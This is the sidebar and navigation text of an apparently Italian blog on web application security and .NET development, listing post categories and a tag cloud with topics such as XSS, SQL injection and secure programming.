Team Management (2)
Uncategorized (12)
Vulnerabilità (31)
- XSS (10)
YUI (1)

tags$show

.NET Agile Anti-XSS Library Application Roots ASP.net Best practices Code Crawler Code Generations Collaborate Communicate Database Security Data Classification Done Done engineering tasks estimates famous quotes FBI Garbage Collector IIS Internet Iteration planning Microsoft Object Lifetime owasp.org Planning Product Vision Regular Expressions Risk Management SDL Secure Programming Sensitive Data simplicity SmptClient Sql Injection System.Net Test Driven Development TimeSaver Tricks Ubuntu Understanding ValidationFramework velocity Vulnerabilità Windows Azure XSS

cyphersec A blog about Web Application Security and .NET development best practices

Alessio

get in touch$

recent-stories$

archive$list

tags$show